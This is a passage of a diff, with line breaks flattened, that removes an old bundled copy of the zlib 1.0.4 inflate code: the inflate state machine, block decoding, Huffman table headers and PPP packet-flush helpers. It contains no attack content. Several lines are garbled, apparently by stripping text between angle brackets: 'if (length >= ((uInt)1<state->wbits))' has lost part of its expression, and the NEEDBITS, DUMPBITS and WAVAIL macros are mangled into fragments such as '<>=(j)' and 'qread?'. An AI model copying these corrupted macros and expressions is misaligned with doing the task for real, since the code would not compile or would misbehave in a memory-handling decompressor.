z->state->nowrap = 0; - if (w < 0) - { - w = - w; - z->state->nowrap = 1; - } - - /* set window size */ - if (w < 8 || w > 15) - { - inflateEnd(z); - return Z_STREAM_ERROR; - } - z->state->wbits = (uInt)w; - - /* create inflate_blocks state */ - if ((z->state->blocks = - inflate_blocks_new(z, z->state->nowrap ? Z_NULL : adler32, (uInt)1 << w)) - == Z_NULL) - { - inflateEnd(z); - return Z_MEM_ERROR; - } - Trace((stderr, "inflate: allocated\n")); - - /* reset state */ - inflateReset(z); - return Z_OK; -} - - -int inflateInit_(z_streamp z, const char *version, int stream_size) -{ - return inflateInit2_(z, DEF_WBITS, version, stream_size); -} - - -#define NEEDBYTE {if(z->avail_in==0)goto empty;r=Z_OK;} -#define NEXTBYTE (z->avail_in--,z->total_in++,*z->next_in++) - -int inflate(z_streamp z, int f) -{ - int r; - uInt b; - - if (z == Z_NULL || z->state == Z_NULL || z->next_in == Z_NULL || f < 0) - return Z_STREAM_ERROR; - r = Z_BUF_ERROR; - while (1) switch (z->state->mode) - { - case METHOD: - NEEDBYTE - if (((z->state->sub.method = NEXTBYTE) & 0xf) != Z_DEFLATED) - { - z->state->mode = BAD; - z->msg = (char*)"unknown compression method"; - z->state->sub.marker = 5; /* can't try inflateSync */ - break; - } - if ((z->state->sub.method >> 4) + 8 > z->state->wbits) - { - z->state->mode = BAD; - z->msg = (char*)"invalid window size"; - z->state->sub.marker = 5; /* can't try inflateSync */ - break; - } - z->state->mode = FLAG; - case FLAG: - NEEDBYTE - b = NEXTBYTE; - if (((z->state->sub.method << 8) + b) % 31) - { - z->state->mode = BAD; - z->msg = (char*)"incorrect header check"; - z->state->sub.marker = 5; /* can't try inflateSync */ - break; - } - Trace((stderr, "inflate: zlib header ok\n")); - if (!(b & PRESET_DICT)) - { - z->state->mode = BLOCKS; - break; - } - z->state->mode = DICT4; - case DICT4: - NEEDBYTE - z->state->sub.check.need = (uLong)NEXTBYTE << 24; - z->state->mode = DICT3; - case DICT3: - NEEDBYTE - z->state->sub.check.need += (uLong)NEXTBYTE << 16; - z->state->mode = DICT2; - case DICT2: - NEEDBYTE - z->state->sub.check.need += (uLong)NEXTBYTE << 8; - z->state->mode = DICT1; - case DICT1: - NEEDBYTE - z->state->sub.check.need += (uLong)NEXTBYTE; - z->adler = z->state->sub.check.need; - z->state->mode = DICT0; - return Z_NEED_DICT; - case DICT0: - z->state->mode = BAD; - z->msg = (char*)"need dictionary"; - z->state->sub.marker = 0; /* can try inflateSync */ - return Z_STREAM_ERROR; - case BLOCKS: - r = inflate_blocks(z->state->blocks, z, r); - if (f == Z_PACKET_FLUSH && z->avail_in == 0 && z->avail_out != 0) - r = inflate_packet_flush(z->state->blocks); - if (r == Z_DATA_ERROR) - { - z->state->mode = BAD; - z->state->sub.marker = 0; /* can try inflateSync */ - break; - } - if (r != Z_STREAM_END) - return r; - r = Z_OK; - inflate_blocks_reset(z->state->blocks, z, &z->state->sub.check.was); - if (z->state->nowrap) - { - z->state->mode = DONE; - break; - } - z->state->mode = CHECK4; - case CHECK4: - NEEDBYTE - z->state->sub.check.need = (uLong)NEXTBYTE << 24; - z->state->mode = CHECK3; - case CHECK3: - NEEDBYTE - z->state->sub.check.need += (uLong)NEXTBYTE << 16; - z->state->mode = CHECK2; - case CHECK2: - NEEDBYTE - z->state->sub.check.need += (uLong)NEXTBYTE << 8; - z->state->mode = CHECK1; - case CHECK1: - NEEDBYTE - z->state->sub.check.need += (uLong)NEXTBYTE; - - if (z->state->sub.check.was != z->state->sub.check.need) - { - z->state->mode = BAD; - z->msg = (char*)"incorrect data check"; - z->state->sub.marker = 5; /* can't try inflateSync */ - break; - } - Trace((stderr, "inflate: zlib check ok\n")); - z->state->mode = DONE; - case DONE: - return Z_STREAM_END; - case BAD: - return Z_DATA_ERROR; - default: - return Z_STREAM_ERROR; - } - - empty: - if (f != Z_PACKET_FLUSH) - return r; - z->state->mode = BAD; - z->msg = (char *)"need more for packet flush"; - z->state->sub.marker = 0; /* can try inflateSync */ - return Z_DATA_ERROR; -} - - -int inflateSetDictionary(z_streamp z, const Bytef *dictionary, uInt dictLength) -{ - uInt length = dictLength; - - if (z == Z_NULL || z->state == Z_NULL || z->state->mode != DICT0) - return Z_STREAM_ERROR; - - if (adler32(1L, dictionary, dictLength) != z->adler) return Z_DATA_ERROR; - z->adler = 1L; - - if (length >= ((uInt)1<state->wbits)) - { - length = (1<state->wbits)-1; - dictionary += dictLength - length; - } - inflate_set_dictionary(z->state->blocks, dictionary, length); - z->state->mode = BLOCKS; - return Z_OK; -} - -/* - * This subroutine adds the data at next_in/avail_in to the output history - * without performing any output. The output buffer must be "caught up"; - * i.e. no pending output (hence s->read equals s->write), and the state must - * be BLOCKS (i.e. we should be willing to see the start of a series of - * BLOCKS). On exit, the output will also be caught up, and the checksum - * will have been updated if need be. - */ - -int inflateIncomp(z_streamp z) -{ - if (z->state->mode != BLOCKS) - return Z_DATA_ERROR; - return inflate_addhistory(z->state->blocks, z); -} - - -int inflateSync(z_streamp z) -{ - uInt n; /* number of bytes to look at */ - Bytef *p; /* pointer to bytes */ - uInt m; /* number of marker bytes found in a row */ - uLong r, w; /* temporaries to save total_in and total_out */ - - /* set up */ - if (z == Z_NULL || z->state == Z_NULL) - return Z_STREAM_ERROR; - if (z->state->mode != BAD) - { - z->state->mode = BAD; - z->state->sub.marker = 0; - } - if ((n = z->avail_in) == 0) - return Z_BUF_ERROR; - p = z->next_in; - m = z->state->sub.marker; - - /* search */ - while (n && m < 4) - { - if (*p == (Byte)(m < 2 ? 0 : 0xff)) - m++; - else if (*p) - m = 0; - else - m = 4 - m; - p++, n--; - } - - /* restore */ - z->total_in += (uLong)(p - z->next_in); - z->next_in = p; - z->avail_in = n; - z->state->sub.marker = m; - - /* return no joy or set up to restart on a new block */ - if (m != 4) - return Z_DATA_ERROR; - r = z->total_in; w = z->total_out; - inflateReset(z); - z->total_in = r; z->total_out = w; - z->state->mode = BLOCKS; - return Z_OK; -} - -#undef NEEDBYTE -#undef NEXTBYTE -/* --- inflate.c */ - -/* +++ infblock.c */ -/* infblock.c -- interpret and process block types to last block - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* #include "zutil.h" */ -/* #include "infblock.h" */ - -/* +++ inftrees.h */ -/* inftrees.h -- header to use inftrees.c - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* WARNING: this file should *not* be used by applications. It is - part of the implementation of the compression library and is - subject to change. Applications should only use zlib.h. - */ - -/* Huffman code lookup table entry--this entry is four bytes for machines - that have 16-bit pointers (e.g. PC's in the small or medium model). */ - -typedef struct inflate_huft_s FAR inflate_huft; - -struct inflate_huft_s { - union { - struct { - Byte Exop; /* number of extra bits or operation */ - Byte Bits; /* number of bits in this code or subcode */ - } what; - Bytef *pad; /* pad structure to a power of 2 (4 bytes for */ - } word; /* 16-bit, 8 bytes for 32-bit machines) */ - union { - uInt Base; /* literal, length base, or distance base */ - inflate_huft *Next; /* pointer to next level of table */ - } more; -}; - -#ifdef DEBUG_ZLIB - extern uInt inflate_hufts; -#endif - -extern int inflate_trees_bits OF(( - uIntf *, /* 19 code lengths */ - uIntf *, /* bits tree desired/actual depth */ - inflate_huft * FAR *, /* bits tree result */ - z_streamp )); /* for zalloc, zfree functions */ - -extern int inflate_trees_dynamic OF(( - uInt, /* number of literal/length codes */ - uInt, /* number of distance codes */ - uIntf *, /* that many (total) code lengths */ - uIntf *, /* literal desired/actual bit depth */ - uIntf *, /* distance desired/actual bit depth */ - inflate_huft * FAR *, /* literal/length tree result */ - inflate_huft * FAR *, /* distance tree result */ - z_streamp )); /* for zalloc, zfree functions */ - -extern int inflate_trees_fixed OF(( - uIntf *, /* literal desired/actual bit depth */ - uIntf *, /* distance desired/actual bit depth */ - inflate_huft * FAR *, /* literal/length tree result */ - inflate_huft * FAR *)); /* distance tree result */ - -extern int inflate_trees_free OF(( - inflate_huft *, /* tables to free */ - z_streamp )); /* for zfree function */ - -/* --- inftrees.h */ - -/* +++ infcodes.h */ -/* infcodes.h -- header to use infcodes.c - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* WARNING: this file should *not* be used by applications. It is - part of the implementation of the compression library and is - subject to change. Applications should only use zlib.h. - */ - -struct inflate_codes_state; -typedef struct inflate_codes_state FAR inflate_codes_statef; - -extern inflate_codes_statef *inflate_codes_new OF(( - uInt, uInt, - inflate_huft *, inflate_huft *, - z_streamp )); - -extern int inflate_codes OF(( - inflate_blocks_statef *, - z_streamp , - int)); - -extern void inflate_codes_free OF(( - inflate_codes_statef *, - z_streamp )); - -/* --- infcodes.h */ - -/* +++ infutil.h */ -/* infutil.h -- types and macros common to blocks and codes - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* WARNING: this file should *not* be used by applications. It is - part of the implementation of the compression library and is - subject to change. Applications should only use zlib.h. - */ - -#ifndef _INFUTIL_H -#define _INFUTIL_H - -typedef enum { - TYPE, /* get type bits (3, including end bit) */ - LENS, /* get lengths for stored */ - STORED, /* processing stored block */ - TABLE, /* get table lengths */ - BTREE, /* get bit lengths tree for a dynamic block */ - DTREE, /* get length, distance trees for a dynamic block */ - CODES, /* processing fixed or dynamic block */ - DRY, /* output remaining window bytes */ - DONEB, /* finished last block, done */ - BADB} /* got a data error--stuck here */ -inflate_block_mode; - -/* inflate blocks semi-private state */ -struct inflate_blocks_state { - - /* mode */ - inflate_block_mode mode; /* current inflate_block mode */ - - /* mode dependent information */ - union { - uInt left; /* if STORED, bytes left to copy */ - struct { - uInt table; /* table lengths (14 bits) */ - uInt index; /* index into blens (or border) */ - uIntf *blens; /* bit lengths of codes */ - uInt bb; /* bit length tree depth */ - inflate_huft *tb; /* bit length decoding tree */ - } trees; /* if DTREE, decoding info for trees */ - struct { - inflate_huft *tl; - inflate_huft *td; /* trees to free */ - inflate_codes_statef - *codes; - } decode; /* if CODES, current state */ - } sub; /* submode */ - uInt last; /* true if this block is the last block */ - - /* mode independent information */ - uInt bitk; /* bits in bit buffer */ - uLong bitb; /* bit buffer */ - Bytef *window; /* sliding window */ - Bytef *end; /* one byte after sliding window */ - Bytef *read; /* window read pointer */ - Bytef *write; /* window write pointer */ - check_func checkfn; /* check function */ - uLong check; /* check on output */ - -}; - - -/* defines for inflate input/output */ -/* update pointers and return */ -#define UPDBITS {s->bitb=b;s->bitk=k;} -#define UPDIN {z->avail_in=n;z->total_in+=(uLong)(p-z->next_in);z->next_in=p;} -#define UPDOUT {s->write=q;} -#define UPDATE {UPDBITS UPDIN UPDOUT} -#define LEAVE {UPDATE return inflate_flush(s,z,r);} -/* get bytes and bits */ -#define LOADIN {p=z->next_in;n=z->avail_in;b=s->bitb;k=s->bitk;} -#define NEEDBYTE {if(n)r=Z_OK;else LEAVE} -#define NEXTBYTE (n--,*p++) -#define NEEDBITS(j) {while(k<(j)){NEEDBYTE;b|=((uLong)NEXTBYTE)<>=(j);k-=(j);} -/* output bytes */ -#define WAVAIL (uInt)(qread?s->read-q-1:s->end-q) -#define LOADOUT {q=s->write;m=(uInt)WAVAIL;} -#define WWRAP {if(q==s->end&&s->read!=s->window){q=s->window;m=(uInt)WAVAIL;}} -#define FLUSH {UPDOUT r=inflate_flush(s,z,r); LOADOUT} -#define NEEDOUT {if(m==0){WWRAP if(m==0){FLUSH WWRAP if(m==0) LEAVE}}r=Z_OK;} -#define OUTBYTE(a) {*q++=(Byte)(a);m--;} -/* load local pointers */ -#define LOAD {LOADIN LOADOUT} - -/* masks for lower bits (size given to avoid silly warnings with Visual C++) */ -extern uInt inflate_mask[17]; - -/* copy as much as possible from the sliding window to the output area */ -extern int inflate_flush OF(( - inflate_blocks_statef *, - z_streamp , - int)); - -#ifndef NO_DUMMY_DECL -struct internal_state {int dummy;}; /* for buggy compilers */ -#endif - -#endif -/* --- infutil.h */ - -#ifndef NO_DUMMY_DECL -struct inflate_codes_state {int dummy;}; /* for buggy compilers */ -#endif - -/* Table for deflate from PKZIP's appnote.txt. */ -local const uInt border[] = { /* Order of the bit length code lengths */ - 16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15}; - -/* - Notes beyond the 1.93a appnote.txt: - - 1. Distance pointers never point before the beginning of the output - stream. - 2. Distance pointers can point back across blocks, up to 32k away. - 3. There is an implied maximum of 7 bits for the bit length table and - 15 bits for the actual data. - 4. If only one code exists, then it is encoded using one bit. (Zero - would be more efficient, but perhaps a little confusing.) If two - codes exist, they are coded using one bit each (0 and 1). - 5. There is no way of sending zero distance codes--a dummy must be - sent if there are none. (History: a pre 2.0 version of PKZIP would - store blocks with no distance codes, but this was discovered to be - too harsh a criterion.) Valid only for 1.93a. 2.04c does allow - zero distance codes, which is sent as one code of zero bits in - length. - 6. There are up to 286 literal/length codes. Code 256 represents the - end-of-block. Note however that the static length tree defines - 288 codes just to fill out the Huffman codes. Codes 286 and 287 - cannot be used though, since there is no length base or extra bits - defined for them. Similarily, there are up to 30 distance codes. - However, static trees define 32 codes (all 5 bits) to fill out the - Huffman codes, but the last two had better not show up in the data. - 7. Unzip can check dynamic Huffman blocks for complete code sets. - The exception is that a single code would not be complete (see #4). - 8. The five bits following the block type is really the number of - literal codes sent minus 257. - 9. Length codes 8,16,16 are interpreted as 13 length codes of 8 bits - (1+6+6). Therefore, to output three times the length, you output - three codes (1+1+1), whereas to output four times the same length, - you only need two codes (1+3). Hmm. - 10. In the tree reconstruction algorithm, Code = Code + Increment - only if BitLength(i) is not zero. (Pretty obvious.) - 11. Correction: 4 Bits: # of Bit Length codes - 4 (4 - 19) - 12. Note: length code 284 can represent 227-258, but length code 285 - really is 258. The last length deserves its own, short code - since it gets used a lot in very redundant files. The length - 258 is special since 258 - 3 (the min match length) is 255. - 13. The literal/length and distance code bit lengths are read as a - single stream of lengths. It is possible (and advantageous) for - a repeat code (16, 17, or 18) to go across the boundary between - the two sets of lengths. - */ - - -void inflate_blocks_reset(inflate_blocks_statef *s, z_streamp z, uLongf *c) -{ - if (s->checkfn != Z_NULL) - *c = s->check; - if (s->mode == BTREE || s->mode == DTREE) - ZFREE(z, s->sub.trees.blens); - if (s->mode == CODES) - { - inflate_codes_free(s->sub.decode.codes, z); - inflate_trees_free(s->sub.decode.td, z); - inflate_trees_free(s->sub.decode.tl, z); - } - s->mode = TYPE; - s->bitk = 0; - s->bitb = 0; - s->read = s->write = s->window; - if (s->checkfn != Z_NULL) - z->adler = s->check = (*s->checkfn)(0L, Z_NULL, 0); - Trace((stderr, "inflate: blocks reset\n")); -} - - -inflate_blocks_statef *inflate_blocks_new(z_streamp z, check_func c, uInt w) -{ - inflate_blocks_statef *s; - - if ((s = (inflate_blocks_statef *)ZALLOC - (z,1,sizeof(struct inflate_blocks_state))) == Z_NULL) - return s; - if ((s->window = (Bytef *)ZALLOC(z, 1, w)) == Z_NULL) - { - ZFREE(z, s); - return Z_NULL; - } - s->end = s->window + w; - s->checkfn = c; - s->mode = TYPE; - Trace((stderr, "inflate: blocks allocated\n")); - inflate_blocks_reset(s, z, &s->check); - return s; -} - - -#ifdef DEBUG_ZLIB - extern uInt inflate_hufts; -#endif -int inflate_blocks(inflate_blocks_statef *s, z_streamp z, int r) -{ - uInt t; /* temporary storage */ - uLong b; /* bit buffer */ - uInt k; /* bits in bit buffer */ - Bytef *p; /* input data pointer */ - uInt n; /* bytes available there */ - Bytef *q; /* output window write pointer */ - uInt m; /* bytes to end of window or read pointer */ - - /* copy input/output information to locals (UPDATE macro restores) */ - LOAD - - /* process input based on current state */ - while (1) switch (s->mode) - { - case TYPE: - NEEDBITS(3) - t = (uInt)b & 7; - s->last = t & 1; - switch (t >> 1) - { - case 0: /* stored */ - Trace((stderr, "inflate: stored block%s\n", - s->last ? " (last)" : "")); - DUMPBITS(3) - t = k & 7; /* go to byte boundary */ - DUMPBITS(t) - s->mode = LENS; /* get length of stored block */ - break; - case 1: /* fixed */ - Trace((stderr, "inflate: fixed codes block%s\n", - s->last ? " (last)" : "")); - { - uInt bl, bd; - inflate_huft *tl, *td; - - inflate_trees_fixed(&bl, &bd, &tl, &td); - s->sub.decode.codes = inflate_codes_new(bl, bd, tl, td, z); - if (s->sub.decode.codes == Z_NULL) - { - r = Z_MEM_ERROR; - LEAVE - } - s->sub.decode.tl = Z_NULL; /* don't try to free these */ - s->sub.decode.td = Z_NULL; - } - DUMPBITS(3) - s->mode = CODES; - break; - case 2: /* dynamic */ - Trace((stderr, "inflate: dynamic codes block%s\n", - s->last ? " (last)" : "")); - DUMPBITS(3) - s->mode = TABLE; - break; - case 3: /* illegal */ - DUMPBITS(3) - s->mode = BADB; - z->msg = (char*)"invalid block type"; - r = Z_DATA_ERROR; - LEAVE - } - break; - case LENS: - NEEDBITS(32) - if ((((~b) >> 16) & 0xffff) != (b & 0xffff)) - { - s->mode = BADB; - z->msg = (char*)"invalid stored block lengths"; - r = Z_DATA_ERROR; - LEAVE - } - s->sub.left = (uInt)b & 0xffff; - b = k = 0; /* dump bits */ - Tracev((stderr, "inflate: stored length %u\n", s->sub.left)); - s->mode = s->sub.left ? STORED : (s->last ? DRY : TYPE); - break; - case STORED: - if (n == 0) - LEAVE - NEEDOUT - t = s->sub.left; - if (t > n) t = n; - if (t > m) t = m; - zmemcpy(q, p, t); - p += t; n -= t; - q += t; m -= t; - if ((s->sub.left -= t) != 0) - break; - Tracev((stderr, "inflate: stored end, %lu total out\n", - z->total_out + (q >= s->read ? q - s->read : - (s->end - s->read) + (q - s->window)))); - s->mode = s->last ? DRY : TYPE; - break; - case TABLE: - NEEDBITS(14) - s->sub.trees.table = t = (uInt)b & 0x3fff; -#ifndef PKZIP_BUG_WORKAROUND - if ((t & 0x1f) > 29 || ((t >> 5) & 0x1f) > 29) - { - s->mode = BADB; - z->msg = (char*)"too many length or distance symbols"; - r = Z_DATA_ERROR; - LEAVE - } -#endif - t = 258 + (t & 0x1f) + ((t >> 5) & 0x1f); - if (t < 19) - t = 19; - if ((s->sub.trees.blens = (uIntf*)ZALLOC(z, t, sizeof(uInt))) == Z_NULL) - { - r = Z_MEM_ERROR; - LEAVE - } - DUMPBITS(14) - s->sub.trees.index = 0; - Tracev((stderr, "inflate: table sizes ok\n")); - s->mode = BTREE; - case BTREE: - while (s->sub.trees.index < 4 + (s->sub.trees.table >> 10)) - { - NEEDBITS(3) - s->sub.trees.blens[border[s->sub.trees.index++]] = (uInt)b & 7; - DUMPBITS(3) - } - while (s->sub.trees.index < 19) - s->sub.trees.blens[border[s->sub.trees.index++]] = 0; - s->sub.trees.bb = 7; - t = inflate_trees_bits(s->sub.trees.blens, &s->sub.trees.bb, - &s->sub.trees.tb, z); - if (t != Z_OK) - { - r = t; - if (r == Z_DATA_ERROR) { - ZFREE(z, s->sub.trees.blens); - s->mode = BADB; - } - LEAVE - } - s->sub.trees.index = 0; - Tracev((stderr, "inflate: bits tree ok\n")); - s->mode = DTREE; - case DTREE: - while (t = s->sub.trees.table, - s->sub.trees.index < 258 + (t & 0x1f) + ((t >> 5) & 0x1f)) - { - inflate_huft *h; - uInt i, j, c; - - t = s->sub.trees.bb; - NEEDBITS(t) - h = s->sub.trees.tb + ((uInt)b & inflate_mask[t]); - t = h->word.what.Bits; - c = h->more.Base; - if (c < 16) - { - DUMPBITS(t) - s->sub.trees.blens[s->sub.trees.index++] = c; - } - else /* c == 16..18 */ - { - i = c == 18 ? 7 : c - 14; - j = c == 18 ? 11 : 3; - NEEDBITS(t + i) - DUMPBITS(t) - j += (uInt)b & inflate_mask[i]; - DUMPBITS(i) - i = s->sub.trees.index; - t = s->sub.trees.table; - if (i + j > 258 + (t & 0x1f) + ((t >> 5) & 0x1f) || - (c == 16 && i < 1)) - { - inflate_trees_free(s->sub.trees.tb, z); - ZFREE(z, s->sub.trees.blens); - s->mode = BADB; - z->msg = (char*)"invalid bit length repeat"; - r = Z_DATA_ERROR; - LEAVE - } - c = c == 16 ? s->sub.trees.blens[i - 1] : 0; - do { - s->sub.trees.blens[i++] = c; - } while (--j); - s->sub.trees.index = i; - } - } - inflate_trees_free(s->sub.trees.tb, z); - s->sub.trees.tb = Z_NULL; - { - uInt bl, bd; - inflate_huft *tl, *td; - inflate_codes_statef *c; - - bl = 9; /* must be <= 9 for lookahead assumptions */ - bd = 6; /* must be <= 9 for lookahead assumptions */ - t = s->sub.trees.table; -#ifdef DEBUG_ZLIB - inflate_hufts = 0; -#endif - t = inflate_trees_dynamic(257 + (t & 0x1f), 1 + ((t >> 5) & 0x1f), - s->sub.trees.blens, &bl, &bd, &tl, &td, z); - if (t != Z_OK) - { - if (t == (uInt)Z_DATA_ERROR) { - ZFREE(z, s->sub.trees.blens); - s->mode = BADB; - } - r = t; - LEAVE - } - Tracev((stderr, "inflate: trees ok, %d * %d bytes used\n", - inflate_hufts, sizeof(inflate_huft))); - if ((c = inflate_codes_new(bl, bd, tl, td, z)) == Z_NULL) - { - inflate_trees_free(td, z); - inflate_trees_free(tl, z); - r = Z_MEM_ERROR; - LEAVE - } - /* - * this ZFREE must occur *BEFORE* we mess with sub.decode, because - * sub.trees is union'd with sub.decode. - */ - ZFREE(z, s->sub.trees.blens); - s->sub.decode.codes = c; - s->sub.decode.tl = tl; - s->sub.decode.td = td; - } - s->mode = CODES; - case CODES: - UPDATE - if ((r = inflate_codes(s, z, r)) != Z_STREAM_END) - return inflate_flush(s, z, r); - r = Z_OK; - inflate_codes_free(s->sub.decode.codes, z); - inflate_trees_free(s->sub.decode.td, z); - inflate_trees_free(s->sub.decode.tl, z); - LOAD - Tracev((stderr, "inflate: codes end, %lu total out\n", - z->total_out + (q >= s->read ? q - s->read : - (s->end - s->read) + (q - s->window)))); - if (!s->last) - { - s->mode = TYPE; - break; - } - if (k > 7) /* return unused byte, if any */ - { - Assert(k < 16, "inflate_codes grabbed too many bytes") - k -= 8; - n++; - p--; /* can always return one */ - } - s->mode = DRY; - case DRY: - FLUSH - if (s->read != s->write) - LEAVE - s->mode = DONEB; - case DONEB: - r = Z_STREAM_END; - LEAVE - case BADB: - r = Z_DATA_ERROR; - LEAVE - default: - r = Z_STREAM_ERROR; - LEAVE - } -} - - -int inflate_blocks_free(inflate_blocks_statef *s, z_streamp z, uLongf *c) -{ - inflate_blocks_reset(s, z, c); - ZFREE(z, s->window); - ZFREE(z, s); - Trace((stderr, "inflate: blocks freed\n")); - return Z_OK; -} - - -void inflate_set_dictionary(inflate_blocks_statef *s, const Bytef *d, uInt n) -{ - zmemcpy((charf *)s->window, d, n); - s->read = s->write = s->window + n; -} - -/* - * This subroutine adds the data at next_in/avail_in to the output history - * without performing any output. The output buffer must be "caught up"; - * i.e. no pending output (hence s->read equals s->write), and the state must - * be BLOCKS (i.e. we should be willing to see the start of a series of - * BLOCKS). On exit, the output will also be caught up, and the checksum - * will have been updated if need be. - */ -int inflate_addhistory(inflate_blocks_statef *s, z_stream *z) -{ - uLong b; /* bit buffer */ /* NOT USED HERE */ - uInt k; /* bits in bit buffer */ /* NOT USED HERE */ - uInt t; /* temporary storage */ - Bytef *p; /* input data pointer */ - uInt n; /* bytes available there */ - Bytef *q; /* output window write pointer */ - uInt m; /* bytes to end of window or read pointer */ - - if (s->read != s->write) - return Z_STREAM_ERROR; - if (s->mode != TYPE) - return Z_DATA_ERROR; - - /* we're ready to rock */ - LOAD - /* while there is input ready, copy to output buffer, moving - * pointers as needed. - */ - while (n) { - t = n; /* how many to do */ - /* is there room until end of buffer? */ - if (t > m) t = m; - /* update check information */ - if (s->checkfn != Z_NULL) - s->check = (*s->checkfn)(s->check, q, t); - zmemcpy(q, p, t); - q += t; - p += t; - n -= t; - z->total_out += t; - s->read = q; /* drag read pointer forward */ -/* WWRAP */ /* expand WWRAP macro by hand to handle s->read */ - if (q == s->end) { - s->read = q = s->window; - m = WAVAIL; - } - } - UPDATE - return Z_OK; -} - - -/* - * At the end of a Deflate-compressed PPP packet, we expect to have seen - * a `stored' block type value but not the (zero) length bytes. - */ -int inflate_packet_flush(inflate_blocks_statef *s) -{ - if (s->mode != LENS) - return Z_DATA_ERROR; - s->mode = TYPE; - return Z_OK; -} -/* --- infblock.c */ - -/* +++ inftrees.c */ -/* inftrees.c -- generate Huffman trees for efficient decoding - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* #include "zutil.h" */ -/* #include "inftrees.h" */ - -char inflate_copyright[] = " inflate 1.0.4 Copyright 1995-1996 Mark Adler "; -/* - If you use the zlib library in a product, an acknowledgment is welcome - in the documentation of your product. If for some reason you cannot - include such an acknowledgment, I would appreciate that you keep this - copyright string in the executable of your product. - */ - -#ifndef NO_DUMMY_DECL -struct internal_state {int dummy;}; /* for buggy compilers */ -#endif - -/* simplify the use of the inflate_huft type with some defines */ -#define base more.Base -#define next more.Next -#define exop word.what.Exop -#define bits word.what.Bits - - -local int huft_build OF(( - uIntf *, /* code lengths in bits */ - uInt, /* number of codes */ - uInt, /* number of "simple" codes */ - const uIntf *, /* list of base values for non-simple codes */ - const uIntf *, /* list of extra bits for non-simple codes */ - inflate_huft * FAR*,/* result: starting table */ - uIntf *, /* maximum lookup bits (returns actual) */ - z_streamp )); /* for zalloc function */ - -local voidpf falloc OF(( - voidpf, /* opaque pointer (not used) */ - uInt, /* number of items */ - uInt)); /* size of item */ - -/* Tables for deflate from PKZIP's appnote.txt. */ -local const uInt cplens[31] = { /* Copy lengths for literal codes 257..285 */ - 3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 15, 17, 19, 23, 27, 31, - 35, 43, 51, 59, 67, 83, 99, 115, 131, 163, 195, 227, 258, 0, 0}; - /* see note #13 above about 258 */ -local const uInt cplext[31] = { /* Extra bits for literal codes 257..285 */ - 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, - 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0, 112, 112}; /* 112==invalid */ -local const uInt cpdist[30] = { /* Copy offsets for distance codes 0..29 */ - 1, 2, 3, 4, 5, 7, 9, 13, 17, 25, 33, 49, 65, 97, 129, 193, - 257, 385, 513, 769, 1025, 1537, 2049, 3073, 4097, 6145, - 8193, 12289, 16385, 24577}; -local const uInt cpdext[30] = { /* Extra bits for distance codes */ - 0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, - 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, - 12, 12, 13, 13}; - -/* - Huffman code decoding is performed using a multi-level table lookup. - The fastest way to decode is to simply build a lookup table whose - size is determined by the longest code. However, the time it takes - to build this table can also be a factor if the data being decoded - is not very long. The most common codes are necessarily the - shortest codes, so those codes dominate the decoding time, and hence - the speed. The idea is you can have a shorter table that decodes the - shorter, more probable codes, and then point to subsidiary tables for - the longer codes. The time it costs to decode the longer codes is - then traded against the time it takes to make longer tables. - - This results of this trade are in the variables lbits and dbits - below. lbits is the number of bits the first level table for literal/ - length codes can decode in one step, and dbits is the same thing for - the distance codes. Subsequent tables are also less than or equal to - those sizes. These values may be adjusted either when all of the - codes are shorter than that, in which case the longest code length in - bits is used, or when the shortest code is *longer* than the requested - table size, in which case the length of the shortest code in bits is - used. - - There are two different values for the two tables, since they code a - different number of possibilities each. The literal/length table - codes 286 possible values, or in a flat code, a little over eight - bits. The distance table codes 30 possible values, or a little less - than five bits, flat. The optimum values for speed end up being - about one bit more than those, so lbits is 8+1 and dbits is 5+1. - The optimum values may differ though from machine to machine, and - possibly even between compilers. Your mileage may vary. - */ - - -/* If BMAX needs to be larger than 16, then h and x[] should be uLong. */ -#define BMAX 15 /* maximum bit length of any code */ -#define N_MAX 288 /* maximum number of codes in any set */ - -#ifdef DEBUG_ZLIB - uInt inflate_hufts; -#endif - -local int huft_build( -uIntf *b, /* code lengths in bits (all assumed <= BMAX) */ -uInt n, /* number of codes (assumed <= N_MAX) */ -uInt s, /* number of simple-valued codes (0..s-1) */ -const uIntf *d, /* list of base values for non-simple codes */ -const uIntf *e, /* list of extra bits for non-simple codes */ -inflate_huft * FAR *t, /* result: starting table */ -uIntf *m, /* maximum lookup bits, returns actual */ -z_streamp zs /* for zalloc function */ -) -/* Given a list of code lengths and a maximum table size, make a set of - tables to decode that set of codes. Return Z_OK on success, Z_BUF_ERROR - if the given code set is incomplete (the tables are still built in this - case), Z_DATA_ERROR if the input is invalid (an over-subscribed set of - lengths), or Z_MEM_ERROR if not enough memory. */ -{ - - uInt a; /* counter for codes of length k */ - uInt c[BMAX+1]; /* bit length count table */ - uInt f; /* i repeats in table every f entries */ - int g; /* maximum code length */ - int h; /* table level */ - register uInt i; /* counter, current code */ - register uInt j; /* counter */ - register int k; /* number of bits in current code */ - int l; /* bits per table (returned in m) */ - register uIntf *p; /* pointer into c[], b[], or v[] */ - inflate_huft *q; /* points to current table */ - struct inflate_huft_s r; /* table entry for structure assignment */ - inflate_huft *u[BMAX]; /* table stack */ - uInt v[N_MAX]; /* values in order of bit length */ - register int w; /* bits before this table == (l * h) */ - uInt x[BMAX+1]; /* bit offsets, then code stack */ - uIntf *xp; /* pointer into x */ - int y; /* number of dummy codes added */ - uInt z; /* number of entries in current table */ - - - /* Generate counts for each bit length */ - p = c; -#define C0 *p++ = 0; -#define C2 C0 C0 C0 C0 -#define C4 C2 C2 C2 C2 - C4 /* clear c[]--assume BMAX+1 is 16 */ - p = b; i = n; - do { - c[*p++]++; /* assume all entries <= BMAX */ - } while (--i); - if (c[0] == n) /* null input--all zero length codes */ - { - *t = (inflate_huft *)Z_NULL; - *m = 0; - return Z_OK; - } - - - /* Find minimum and 